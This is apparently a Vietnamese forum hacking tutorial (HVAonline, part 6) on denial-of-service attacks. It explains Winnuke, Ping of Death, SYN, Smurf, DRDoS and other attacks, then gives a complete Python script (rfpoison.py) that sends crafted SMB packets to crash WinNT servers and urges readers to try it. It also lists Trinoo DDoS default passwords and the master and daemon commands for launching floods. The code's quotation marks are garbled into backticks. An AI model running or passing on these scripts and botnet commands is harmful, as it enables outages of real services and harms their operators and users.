38.) DoS
attack là ǵ? ( Denial Of Services Attack )
DoS attack ( dịch là tấn công từ chối dịch vụ ) là
kiểu tấn công rất lợi hại , với loại tấn công này , bạn chỉ
cần một máy tính kết nối Internet là đă có thể thực hiện
việc tấn công được máy tính của đốI phương . thực chất của
DoS attack là hacker sẽ chiếm dụng một lượng lớn tài nguyên
trên server ( tài nguyên đó có thể là băng thông, bộ nhớ,
cpu, đĩa cứng, ... ) làm cho server không thể nào đáp ứng
các yêu cầu từ các máy của nguời khác ( máy của những người
dùng b́nh thường ) và server có thể nhanh chóng bị ngừng
hoạt động, crash hoặc reboot .
39.) Các loại DoS attack hiện đang
được biết đến và sử dụng :
a . ) Winnuke :
_DoS attack loại này chỉ có thể áp dụng cho các máy tính
đang chạy Windows9x . Hacker sẽ gởi các gói tin với dữ liệu
``Out of Band`` đến cổng 139 của máy tính đích.( Cổng 139
chính là cổng NetBIOS, cổng này chỉ chấp nhận các gói tin có
cờ Out of Band được bật ) . Khi máy tính của victim nhận
được gói tin này, một màn h́nh xanh báo lỗi sẽ được hiển thị
lên với nạn nhân do chương tŕnh của Windows nhận được các
gói tin này nhưng nó lại không biết phản ứng với các dữ liệu
Out Of Band như thế nào dẫn đến hệ thống sẽ bị crash .
b . ) Ping of Death :
_ Ở kiểu DoS attack này , ta chỉ cần gửi một gói dữ liệu có
kích thước lớn thông qua lệnh ping đến máy đích th́ hệ thống
của họ sẽ bị treo .
_ VD : ping –l 65000
c . ) Teardrop :
_ Như ta đă biết , tất cả các dữ liệu chuyển đi trên mạng từ
hệ thống nguồn đến hệ thống đích đều phải trải qua 2 quá
tŕnh : dữ liệu sẽ được chia ra thành các mảnh nhỏ ở hệ
thống nguồn, mỗi mảnh đều phải có một giá trị offset nhất
định để xác định vị trí của mảnh đó trong gói dữ liệu được
chuyển đi. Khi các mảnh này đến hệ thống đích, hệ thống đích
sẽ dựa vào giá trị offset để sắp xếp các mảnh lại với nhau
theo thứ tự đúng như ban đầu . Lợi dụng sơ hở đó , ta chỉ
cần gởi đến hệ thống đích một loạt gói packets với giá trị
offset chồng chéo lên nhau. Hệ thống đích sẽ không thể nào
sắp xếp lại các packets này, nó không điều khiển được và có
thể bị crash, reboot hoặc ngừng hoạt động nếu số lượng gói
packets với giá trị offset chồng chéo lên nhau quá lớn !
d . ) SYN Attack :
_ Trong SYN Attack, hacker sẽ gởi đến hệ thống đích một loạt
SYN packets với địa chỉ ip nguồn không có thực. Hệ thống
đích khi nhận được các SYN packets này sẽ gởi trở lại các
địa chỉ không có thực đó và chờ đợI để nhận thông tin phản
hồi từ các địa chỉ ip giả . V́ đây là các địa chỉ ip không
có thực, nên hệ thống đích sẽ sẽ chờ đợi vô ích và c̣n đưa
các ``request`` chờ đợi này vào bộ nhớ , gây lăng phí một
lượng đáng kể bộ nhớ trên máy chủ mà đúng ra là phải dùng
vào việc khác thay cho phải chờ đợi thông tin phản hồi không
có thực này . Nếu ta gởi cùng một lúc nhiều gói tin có địa
chỉ IP giả như vậy th́ hệ thống sẽ bị quá tải dẫn đến bị
crash hoặc boot máy tính . == > ném đá dấu tay .
e . ) Land Attack :
_ Land Attack cũng gần giống như SYN Attack, nhưng thay v́
dùng các địa chỉ ip không có thực, hacker sẽ dùng chính địa
chỉ ip của hệ thống nạn nhân. Điều này sẽ tạo nên một ṿng
lặp vô tận giữa trong chính hệ thống nạn nhân đó, giữa một
bên cần nhận thông tin phản hồi c̣n một bên th́ chẳng bao
giờ gởi thông tin phản hồi đó đi cả . == > Gậy ông đập lưng
ông .
f . ) Smurf Attack :
_Trong Smurf Attack, cần có ba thành phần: hacker (người ra
lệnh tấn công), mạng khuếch đại (sẽ nghe lệnh của hacker) và
hệ thống của nạn nhân. Hacker sẽ gởi các gói tin ICMP đến
địa chỉ broadcast của mạng khuếch đại. Điều đặc biệt là các
gói tin ICMP packets này có địa chỉ ip nguồn chính là địa
chỉ ip của nạn nhân . Khi các packets đó đến được địa chỉ
broadcast của mạng khuếch đại, các máy tính trong mạng
khuếch đại sẽ tưởng rằng máy tính nạn nhân đă gởi gói tin
ICMP packets đến và chúng sẽ đồng loạt gởi trả lại hệ thống
nạn nhân các gói tin phản hồi ICMP packets. Hệ thống máy nạn
nhân sẽ không chịu nổi một khối lượng khổng lồ các gói tin
này và nhanh chóng bị ngừng hoạt động, crash hoặc reboot.
Như vậy, chỉ cần gởi một lượng nhỏ các gói tin ICMP packets
đi th́ hệ thống mạng khuếch đại sẽ khuếch đại lượng gói tin
ICMP packets này lên gấp bộI . Tỉ lệ khuếch đại phụ thuộc
vào số mạng tính có trong mạng khuếch đạI . Nhiệm vụ của các
hacker là cố chiếm được càng nhiều hệ thống mạng hoặc
routers cho phép chuyển trực tiếp các gói tin đến địa chỉ
broadcast không qua chỗ lọc địa chỉ nguồn ở các đầu ra của
gói tin . Có được các hệ thống này, hacker sẽ dễ dàng tiến
hành Smurf Attack trên các hệ thống cần tấn công . == > một
máy làm chẳng si nhê , chục máy chụm lại ta đành chào thua .
g . ) UDP Flooding :
_ Cách tấn công UDP đ̣i hỏi phải có 2 hệ thống máy cùng tham
gia. Hackers sẽ làm cho hệ thống của ḿnh đi vào một ṿng
lặp trao đổi các dữ liệu qua giao thức UDP. Và giả mạo địa
chỉ ip của các gói tin là địa chỉ loopback ( 127.0.0.1 ) ,
rồi gởi gói tin này đến hệ thống của nạn nhân trên cổng UDP
echo ( 7 ). Hệ thống của nạn nhân sẽ trả lời lại các
messages do 127.0.0.1( chính nó ) gởi đến , kết quả là nó sẽ
đi ṿng một ṿng lặp vô tận. Tuy nhiên, có nhiều hệ thống
không cho dùng địa chỉ loopback nên hacker sẽ giả mạo một
địa chỉ ip của một máy tính nào đó trên mạng nạn nhân và
tiến hành ngập lụt UDP trên hệ thống của nạn nhân . Nếu bạn
làm cách này không thành công th́ chính máy của bạn sẽ bị
đấy .
h . ) Tấn công DNS :
_ Hacker có thể đổi một lối vào trên Domain Name Server của
hệ thống nạn nhân rồi cho chỉ đến một website nào đó của
hacker. Khi máy khách yêu cầu DNS phân tích địa chỉ bị xâm
nhập thành địa chỉ ip, lập tức DNS ( đă bị hacker thay đổi
cache tạm thờI ) sẽ đổi thành địa chỉ ip mà hacker đă cho
chỉ đến đó . Kết quả là thay v́ phải vào trang Web muốn vào
th́ các nạn nhân sẽ vào trang Web do chính hacker tạo ra .
Một cách tấn công từ chối dịch vụ thật hữu hiệu !.
g . ) Distributed DoS Attacks ( DDos ) :
_ DDoS yêu cầu phải có ít nhất vài hackers cùng tham gia.
Đầu tiên các hackers sẽ cố thâm nhập vào các mạng máy tính
được bảo mật kém, sau đó cài lên các hệ thống này chương
tŕnh DDoS server. Bây giờ các hackers sẽ hẹn nhau đến thời
gian đă định sẽ dùng DDoS client kết nối đến các DDoS
servers, sau đó đồng loạt ra lệnh cho các DDoS servers này
tiến hành tấn công DDoS đến hệ thống nạn nhân .
h . ) DRDoS ( The Distributed Reflection Denial of
Service Attack ) :
_ Đây có lẽ là kiểu tấn công lợi hại nhất và làm boot máy
tính của đối phương nhanh gọn nhất . Cách làm th́ cũng tương
tự như DDos nhưng thay v́ tấn công bằng nhiều máy tính th́
ngườI tấn công chỉ cần dùng một máy tấn công thông qua các
server lớn trên thế giới . Vẫn với phương pháp giả mạo địa
chỉ IP của victim , kẻ tấn công sẽ gởi các gói tin đến các
server mạnh nhất , nhanh nhất và có đường truyền rộng nhất
như Yahoo .v.v… , các server này sẽ phản hồi các gói tin đó
đến địa chỉ của victim . Việc cùng một lúc nhận được nhiều
gói tin thông qua các server lớn này sẽ nhanh chóng làm
nghẽn đường truyền của máy tính nạn nhân và làm crash ,
reboot máy tính đó . Cách tấn công này lợi hại ở chỗ chỉ cần
một máy có kết nối Internet đơn giản với đường truyền b́nh
thường cũng có thể đánh bật được hệ thống có đường truyền
tốt nhất thế giớI nếu như ta không kịp ngăn chặn . Trang Web
HVA của chúng ta cũng bị DoS vừa rồi bởi cách tấn công này
đấy .
40 . ) Kỹ thuật DoS Web bằng
Python :
_ Kỹ thuật này chỉ có thể sử dụng duy nhất trên WinNT , và
bạn cần phải có thời gian th́ máy tính của nạn nhân mới bị
down được .
_ Bạn hăy download Pyphon tại
http://www.python.org/ để sử dụng .
_ Bạn hăy save đoạn mă sau lên file rfpoison.py .
CODE
import string
import struct
from socket import *
import sys
def a2b(s):
bytes = map(lambda x: string.atoi(x, 16),
string.split(s))
data = string.join(map(chr, bytes), ``)
return data
def b2a(s):
bytes = map(lambda x: `%.2x` % x, map(ord, s))
return string.join(bytes, ` `)
# Yêu cầu tập hợp NBSS
nbss_session = a2b(``````
81 00 00 48 20 43 4b 46 44 45
4e 45 43 46 44 45 46 46 43 46 47 45 46 46 43 43
41 43 41 43 41 43 41 43 41 43 41 00 20 45 48 45
42 46 45 45 46 45 4c 45 46 45 46 46 41 45 46 46
43 43 41 43 41 43 41 43 41 43 41 41 41 00 00 00
00 00
``````)
# Tạo SMB
crud = (
# Yêu cầu SMBnegprot
``````
ff 53 4d 42 72 00
00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 f4 01 00 00 01 00 00 81 00 02 50 43
20 4e 45 54 57 4f 52 4b 20 50 52 4f 47 52 41 4d
20 31 2e 30 00 02 4d 49 43 52 4f 53 4f 46 54 20
4e 45 54 57 4f 52 4b 53 20 31 2e 30 33 00 02 4d
49 43 52 4f 53 4f 46 54 20 4e 45 54 57 4f 52 4b
53 20 33 2e 30 00 02 4c 41 4e 4d 41 4e 31 2e 30
00 02 4c 4d 31 2e 32 58 30 30 32 00 02 53 61 6d
62 61 00 02 4e 54 20 4c 41 4e 4d 41 4e 20 31 2e
30 00 02 4e 54 20 4c 4d 20 30 2e 31 32 00
``````,
# Yêu cầu setup SMB X
``````
ff 53 4d 42 73 00
00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 f4 01 00 00 01 00 0d ff 00 00 00 ff
ff 02 00 f4 01 00 00 00 00 01 00 00 00 00 00 00
00 00 00 00 00 17 00 00 00 57 4f 52 4b 47 52 4f
55 50 00 55 6e 69 78 00 53 61 6d 62 61 00
``````,
# Yêu cầu SMBtconX
``````
ff 53 4d 42 75 00
00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 f4 01 00 08 01 00 04 ff 00 00 00 00
00 01 00 17 00 00 5c 5c 2a 53 4d 42 53 45 52 56
45 52 5c 49 50 43 24 00 49 50 43 00
``````,
# Yêu cầu khởI tạo SMBnt X
``````
ff 53 4d 42 a2 00
00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00
00 00 00 08 f4 01 00 08 01 00 18 ff 00 00 00 00
07 00 06 00 00 00 00 00 00 00 9f 01 02 00 00 00
00 00 00 00 00 00 00 00 00 00 03 00 00 00 01 00
00 00 00 00 00 00 02 00 00 00 00 08 00 5c 73 72
76 73 76 63 00
``````,
# yêu cầu biên dịch SMB
``````
ff 53 4d 42 25 00
00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00
00 00 00 08 f4 01 00 08 01 00 10 00 00 48 00 00
00 48 00 00 00 00 00 00 00 00 00 00 00 00 00 4c
00 48 00 4c 00 02 00 26 00 00 08 51 00 5c 50 49
50 45 5c 00 00 00 05 00 0b 00 10 00 00 00 48 00
00 00 01 00 00 00 30 16 30 16 00 00 00 00 01 00
00 00 00 00 01 00 c8 4f 32 4b 70 16 d3 01 12 78
5a 47 bf 6e e1 88 03 00 00 00 04 5d 88 8a eb 1c
c9 11 9f e8 08 00 2b 10 48 60 02 00 00 00
``````,
# SMBtrans Request
``````
ff 53 4d 42 25 00
00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00
00 00 00 08 f4 01 00 08 01 00 10 00 00 58 00 00
00 58 00 00 00 00 00 00 00 00 00 00 00 00 00 4c
00 58 00 4c 00 02 00 26 00 00 08 61 00 5c 50 49
50 45 5c 00 00 00 05 00 00 03 10 00 00 00 58 00
00 00 02 00 00 00 48 00 00 00 00 00 0f 00 01 00
00 00 0d 00 00 00 00 00 00 00 0d 00 00 00 5c 00
5c 00 2a 00 53 00 4d 00 42 00 53 00 45 00 52 00
56 00 45 00 52 00 00 00 00 00 01 00 00 00 01 00
00 00 00 00 00 00 ff ff ff ff 00 00 00 00
``````
)
crud = map(a2b, crud)
def smb_send(sock, data, type=0, flags=0):
d = struct.pack(`!BBH`, type, flags, len(data))
#print `send:`, b2a(d+data)
sock.send(d+data)
def smb_recv(sock):
s = sock.recv(4)
assert(len(s) == 4)
type, flags, length = struct.unpack(`!BBH`, s)
data = sock.recv(length)
assert(len(data) == length)
#print `recv:`, b2a(s+data)
return type, flags, data
def nbss_send(sock, data):
sock.send(data)
def nbss_recv(sock):
s = sock.recv(4)
assert(len(s) == 4)
return s
def main(host, port=139):
s = socket(AF_INET, SOCK_STREAM)
s.connect(host, port)
nbss_send(s, nbss_session)
nbss_recv(s)
for msg in crud[:-1]:
smb_send(s, msg)
smb_recv(s)
smb_send(s, crud[-1]) # no response to this
s.close()
if __name__ == `__main__`:
print `Sending poison...`,
main(sys.argv[1])
print `done.`
Để có thể làm down được server của đối phương bạn cần phải
có thời gian DoS , nếu không có điều kiện chờ đợi tốt nhất
bạn không nên sử dụng cách này . Nhưng “vọc” thử cho biết
th́ được đúng không ?
41 . ) Tấn công DDoS thông qua
Trinoo :
_ Bạn đă biết DDoS attack là ǵ rồi phải không ? Một cuộc
tấn công DDoS bằng Trinoo được thực hiện bởi một kết nối của
Hacker Trinoo Master và chỉ dẫn cho Master để phát động một
cuộc tấn công DDoS đến một hay nhiều mục tiêu. Trinoo Master
sẽ liên lạc với những Deadmons đưa những địa chỉ được dẫn
đến để tấn công một hay nhiều mục tiêu trong khoảng thời
gian xác định .
_ Cả Master và Deamon đều được bảo vệ bằng Passwd . chỉ khi
chúng ta biết passwd th́ mới có thể điều khiển được chúng ,
điều này không có ǵ khó khăn nếu chúng ta là chủ nhân thực
sự của chúng . Những passwd này thường được mă hoá và bạn có
thể thiết lập khi biên dịch Trinoo từ Source ----- > Binnary.
Khi được chạy , Deadmons sẽ hiện ra một dấu nhắc và chờ
passwd nhập vào , nếu passwd nhập sai nó sẽ tự động thoát
c̣n nếu passwd được nhập đúng th́ nó sẽ tự động chạy trên
nền của hệ thống .
attacker$ telnet 10.0.0.1 27665
Trying 10.0.0.1
Connected to 10.0.0.1
Escape character is `^]`.
kwijibo
Connection closed by foreign host. < == Bạn đă nhập sai
attacker$ telnet 10.0.0.1 27665
Trying 10.0.0.1
Connected to 10.0.0.1
Escape character is `^]`.
betaalmostdone
trinoo v1.07d2+f3+c..[rpm8d/cb4Sx/]
trinoo > < == bạn đă vào được hệ thống trinoo
_ Đây là vài passwd mặc định :
“l44adsl``: pass của trinoo daemon .
``gorave``: passwd của trinoo master server khi startup .
``betaalmostdone``: passwd điều khiển từ xa chung cho trinoo
master .
``killme``: passwd trinoo master điều khiển lệnh ``mdie`` .
_ Đây là một số lệnh dùng để điều khiển Master Server:
CODE
die------------------------------------------------
------------Shutdown.
quit-----------------------------------------------
-------------Log off.
mtimer N--------------------------------------------------
--Đặt thờI gian để tấn công DoS , vớI N nhận giá trị từ 1--
> 1999 giây .
dos IP-------------------------------------------------
------Tấn công đến một địa chỉ IP xác định .
mdie pass-----------------------------------------------
----Vô hiệu hoá tất cả các Broadcast , nếu như passwd chính
xác . Một lệnh đưọc gửi tới (``d1e l44adsl``) Broadcast để
Shutdown chúng . Một passwd riêng biệt sẽ được đặt cho mục
này
mping----------------------------------------------
----------Gửi một lệnh ping tới (``png l44adsl``) c¸c
Broadcast.
mdos
------------------------------------------Send nhiều lênh DOS (``xyz
l44adsl 123:ip1:ip2``) đến các Broadcast.
info-----------------------------------------------
--------------Hiển thị thông tin về Trinoo .
msize----------------------------------------------
------------Đặt kích thước đệm cho những gói tin được send
đi trong suốt thờI gian DoS.
nslookup host----------------------------------------------X
ác định tên thiết bị của Host mà Master Trinoo đang chạy .
usebackup------------------------------------------
---------Chuyển tớI các file Broadcast sao lưu được tạo bởi
lệnh “killdead”.
bcast----------------------------------------------
-------------Liệt kê danh sách tất cả các Broadcast có thể
khai thác .
help [cmd]
--------------------------------------------------- Đưa ra
danh sách các lệnh .
mstop----------------------------------------------
-------------Ngừng lại các cuốc tấn công DOS .
_ Đây là một số lệnh dùng để điều khiển Trinoo Deadmons:
CODE
aaa pass IP-------------------------------------------------
---Tấn công đến địa chỉ IP đă xác định . GửI gói tin UDP
(0-65534) đến cổng của UDP của địa chỉ IP đă xác định trong
một khoảng thời gian xác định được mặc định là 120s hay từ
1-- > 1999 s .
bbb pass N--------------------------------------------------
---Đặt thờI gian giới hạn cho các cuộc tấn công DOS .
Shi pass-----------------------------------------------
---------Gửi chuỗi “*HELLO*” tới dánh sách Master Server đă
được biên dịch trong chương tŕnh trên cổng 31335/UDP.
png pass-----------------------------------------------
--------Send chuỗi “Pong” tớI Master Server phát hành các
lệnh điều khiển trên cổng 31335/UDP.
die pass-----------------------------------------------
---------Shutdown Trinoo.
rsz N--------------------------------------------------
----------Là kích thước của bộ đệm được dùng để tấn công ,
nó được tính bằng byte .
xyz pass 123:ip1:ip3----------------------------------------
tấn công DOS nhiều mục tiêu cùng lúc .
( Dựa theo hướng dẫn của huynh Binhnx2000 )
C̣n nhiều đoạn mă và cách ứng dụng để DoS lắm , các bạn chịu
khó t́m hiểu thêm nhé . Nhưng đừng tấn công lung tung , nhất
là server của HVA , coi chừng không thu được hiệu quả mà c̣n
bị lock nick nữa đó
Hết phần 6 -
Tác giả: Anhdenday - HVAonline